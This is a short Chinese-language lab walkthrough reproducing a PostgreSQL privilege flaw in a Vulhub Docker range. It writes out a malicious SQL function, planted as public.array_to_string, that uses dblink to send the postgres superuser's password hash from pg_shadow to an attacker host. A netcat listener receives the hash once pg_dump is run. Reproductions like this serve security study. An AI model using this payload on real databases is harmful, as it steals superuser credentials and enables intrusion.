**一、靶场搭建**

1、Vulhub启动

docker-compose up -d

**二、漏洞复现**

1、用攻击机登录postgreSQL，账号vulhub，密码vulhub

psql --host 192.168.111.137 --username vulhub

2、执行下列语句后退出，hostaddr填攻击机的ip

CREATE FUNCTION public.array\_to\_string(anyarray,text) RETURNS TEXT AS $$

select dblink\_connect((select 'hostaddr=192.168.111.143 port=8888 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg\_shadow WHERE usename='postgres')));

SELECT pg\_catalog.array\_to\_string($1,$2);

$$ LANGUAGE SQL VOLATILE;

3、此时已经留好了”后门”，攻击机上监听8888端口

nc lvvp 8888

4、加下来靶机上用超级用户的身份执行pg\_dump命令，导出vulhub这个数据库的内容

docker-compose exec postgres pg\_dump -U postgres -f evil.bak vulhub

5、此时攻击机成功接收postgres用户md5加密后的密码

